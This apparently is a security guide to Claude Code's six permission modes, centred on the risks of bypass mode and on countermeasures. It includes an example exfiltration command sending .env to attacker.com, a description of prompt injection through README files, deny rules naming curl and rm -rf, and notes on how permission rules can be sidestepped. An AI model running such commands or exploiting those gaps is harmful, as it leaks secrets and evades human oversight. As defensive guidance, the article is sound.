Claude Code Bypass Permission Mode: Security Risks and How to Stay Safe

Claude Code has a "bypass permission mode" (bypassPermissions) that executes almost every operation without asking for confirmation. It's extremely useful for CI/CD pipelines and Docker containers, but if misused, it can create serious security vulnerabilities.

In this article, we break down the 6 permission modes in Claude Code and take a close look at the benefits, risks, and safe usage practices for bypass mode, with concrete examples throughout.

1. What Is Bypass Permission Mode?

Bypass permission mode skips almost every confirmation prompt that Claude Code would otherwise display. In Manual mode, Claude Code asks for your approval before editing files or running shell commands. In bypass mode, those prompts do not appear (with a few exceptions covered below).

There are two startup flags (setting defaultMode to bypassPermissions in user or managed settings also works, but not in project settings). You can't switch into bypass mid-session unless it was enabled at launch.

# Using the flag
claude --dangerously-skip-permissions

# Or specifying the permission mode
claude --permission-mode bypassPermissions

The fact that the flag includes "dangerously" in its name is no accident -- Anthropic is explicitly warning you to be careful. This flag exists to enable automation in fully isolated environments like containers and VMs.

Bypass also skips confirmation for writes to protected paths. Examples of restrictions that remain include applicable deny and explicit ask rules, checks for deleting critical paths, tools requiring a response from you, and hooks. This is not an exhaustive list. Check the official remaining restrictions too. Conditions involving rule matching and installed mods are explained in our permission rules guide.

2. The 6 Permission Modes in Claude Code

Claude Code offers six permission modes, each with a different scope of what can be done without confirmation.

Mode Details

default (Manual): Ordinary edits and command execution request approval. Built-in read-only commands, operations matching allow rules, and sandbox auto-allow are exceptions. Manual does not mean every operation prompts. It is the default where auto is unavailable and in many non-interactive sessions.

acceptEdits (Accept edits): Automatically approves file edits within the working scope and recognized file operations such as mkdir, touch, rm, rmdir, mv, cp, and sed. Operations outside that scope or on protected paths receive separate checks. Other commands may also skip confirmation when they match allow rules or sandbox auto-allow.

plan (Plan): Investigates and designs changes, and writes plan files. Normally blocks source edits until approval, but in an interactive terminal where bypass has been made available for selection, the editing prohibition is not enforced even in Plan. Investigation commands are reviewed by the classifier when auto is available and useAutoModeDuringPlan is on. When it is off or auto is unavailable, commands beyond the built-in read-only set request confirmation. This bypass exception does not apply to -p, the SDK, or VS Code chat.

auto (Auto): Nearly all operations run without confirmation. However, a safety classifier runs in the background to block operations deemed dangerous. Suitable for long-running automated tasks. From v2.1.283 it is the starting mode in the terminal and VS Code on every plan and provider (as of October 4, 2026; on earlier versions only Pro, Max, and Team plans start in auto and everything else starts in Manual, and sessions also start in Manual where an administrator has turned auto mode off or the model doesn't support it).

dontAsk: Automatically denies operations that would require confirmation. Only operations that run without confirmation, such as workspace reads and read-only commands, and operations covered by allow rules execute. This reduces waits for permission approval, but other waits remain, including tools that require a response from you. It is not in the Shift+Tab cycle; specify claude --permission-mode dontAsk or defaultMode in settings. It suits CI and other environments where you want to define Claude's capabilities in advance.

bypassPermissions (Bypass permissions): The permission prompt and the safety classifier are disabled (hooks still run). Intended for use inside containers and VMs only. Anthropic does not recommend using this on your local machine.

You can switch permission modes with CLI flags at startup or interactively using Shift+Tab while Claude Code is running (the same in JetBrains IDEs). In VS Code, use the mode indicator below the input box; in the desktop app, the selector next to the send button. Bypass, however, can't be selected in a session that wasn't started with it enabled.

3. When Bypass Mode Is Useful

Bypass mode isn't just "the dangerous option." In the right environment, it can dramatically improve development efficiency.

CI/CD Pipelines

In CI/CD pipelines like GitHub Actions or GitLab CI, there's no user to respond to interactive confirmation prompts. Bypass mode enables full automation of tasks like running tests, code reviews, and documentation generation.

# Example usage in GitHub Actions
claude --dangerously-skip-permissions \
  -p "Run the tests and generate a report"

Docker Containers

Disposable containers or VMs can reduce the impact when properly isolated. However, host mounts, credentials, Docker sockets, and network connections extend that impact to the resources you expose. Code and data inside the container can still be destroyed; using a container alone does not remove the risk.

Bulk File Operations

When modifying 100+ files at once, confirmation prompts for each operation become a massive overhead. In an isolated environment, bypass mode lets you process files efficiently.

Automation Scripting

For unattended batch work, bypass is one option. You can also consider dontAsk with narrowly scoped permissions, or auto when available. If you use bypass, check the official requirement for an isolated environment that cannot affect the host and has no internet access.

4. 5 Security Risks You Need to Know

Using bypass mode in a non-isolated environment exposes you to serious security risks.

Risk 1: Prompt Injection

This is the most dangerous risk. Malicious instructions hidden in files -- such as a README or package.json -- can be executed without any review.

In Manual mode, calls that require approval prompt before execution. Allow rules or sandbox auto-allow can skip this step, so a prompt is not guaranteed whenever an action is dangerous. Bypass skips the ordinary approval procedure.

Risk 2: Arbitrary Command Execution

curl | bash, deletions, and package installations are examples of a broad range of shell operations that may execute without confirmation. Bypass also disables the auto classifier. Checks such as deny and ask remain, but do not treat them as a boundary that blocks every route.

Risk 3: Data Leaks

Commands that transmit sensitive data to external endpoints -- such as .env files, auth tokens, and API keys -- can execute without confirmation. For example, a command like curl -d @.env https://attacker.com.

Risk 4: Operation Escalation

A task that starts with harmless file edits can gradually escalate into production deployments or database migrations. In Manual mode, operations that require approval provide a chance to review them, but there is no guarantee of a prompt at every task milestone. Bypass also skips the ordinary confirmation procedure.

Risk 5: Irreversible Destructive Actions

git push --force, permanent file deletion, DROP TABLE on a database -- operations that cannot be undone run without any confirmation.

5. Staying Safe: Practical Countermeasures

If you need to use bypass mode, take these precautions.

Measure 1: Restrict Usage to Containers and VMs

This is the most important rule. Always run bypass mode in an isolated environment -- Docker containers, VMs, or CI runner environments like GitHub Actions. Never run it directly on your host OS.

Measure 2: Consider Auto Mode First

To reduce confirmations, first check when auto applies and what its limits are. The classifier denies operations it judges dangerous, but does not guarantee detection of every dangerous action. Do not choose bypass solely because confirmations are inconvenient.

Measure 3: Use Allowlists for Fine-Grained Control

An allow rule skips approval for matching calls. You can narrow it to needed commands, but must also inspect the scripts you permit. Bash rules are not a boundary around an entire program: Bash(curl *) does not catch /usr/bin/curl or calls through another shell. To enforce file or network restrictions, OS-level isolation is also needed.

# Permission settings in .claude/settings.json
{
  "permissions": {
    "allow": [
      "Bash(npm run build)",
      "Bash(npm test)",
      "Bash(git status)"
    ],
    "deny": [
      "Bash(curl *)",
      "Bash(rm -rf *)"
    ]
  }
}

Permission rules are evaluated in deny → ask → allow order. Since deny takes the highest priority, explicitly denied commands can never be overridden by allow rules.

Measure 4: Monitor with Hooks

Claude Code's Hooks feature (PreToolUse / PostToolUse hooks) lets you run custom scripts before or after specific tool usage. And hooks still run in bypass mode. What bypass skips is the permission prompt, and hooks run upstream of it. The official documentation states that PreToolUse hooks run before the permission prompt, and that a hook exiting with code 2 stops the tool call before permission rules are evaluated.

Hooks provide an additional check, but their code and configuration also need protection. Under some conditions, a mod can replace a non-managed PreToolUse denial with approval, so check how permission rules and mods interact.

# PreToolUse hook example (.claude/settings.json)
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{
        "type": "command",
        "command": ".claude/hooks/check-safety.sh"
      }]
    }]
  }
}

Measure 5: Restrict Network Access

Even when running inside a container, limiting outbound network access significantly reduces the risk of data leaks. Ideally, only allow connections to necessary endpoints like the Anthropic API.

Measure 6: Always Review Changes Afterward

After working in bypass mode, always check the changes with git diff. Make it a habit to verify that no unintended modifications or sensitive data leaks have occurred.

6. Choosing the Right Permission Mode

Not sure which mode to use? Follow this flowchart to find the best fit for your situation.

Recommended Settings by Scenario

Everyday coding: Consider acceptEdits mode. File editing proceeds smoothly, while other operations use ordinary permission evaluation. Allow rules, sandbox auto-allow, and similar conditions may skip confirmation.

Code investigation and design: Plan suits consideration before implementation. It normally blocks source edits, but still writes plan files and similar data. In an interactive terminal where bypass is available for selection, it does not block edits either. To enforce prevention of changes, check restrictions including OS permissions in our investigation-only guide.

Long-running automated tasks: Combining auto with a sandbox is an option. It combines a classifier with execution-scope restrictions, but check allowed areas and outside routes; do not assume that every dangerous operation will be detected.

CI/CD pipelines: If you can define the allowed calls in advance, consider dontAsk with allow rules. It avoids ordinary permission-approval waits, but other stopping conditions remain, including tools that require a personal response and errors. Bypass also requires isolation, network restrictions, and minimal mounts; choosing a mode alone does not guarantee an unattended run will finish.

Bypass is just one of several permission modes. If you want to see where each mode fits and how to choose between them, read our overview of all of Claude Code's permission modes. For more on Claude Code's capabilities, check out our guide on the differences between Claude's three modes. For pricing details, see our Claude vs ChatGPT pricing comparison.

7. Summary

Claude Code's bypass permission mode is a powerful tool when used in the right environment, but misuse can lead to serious security incidents.

If security is on your mind as you explore AI tools, try our AI skills assessment to gauge your AI literacy. You can also learn Claude Code systematically through our beginner's course.

FAQ

The scope and exception conditions for permissions and isolation were rechecked against official source documentation on October 9, 2026. No device settings were changed and no startup tests were performed.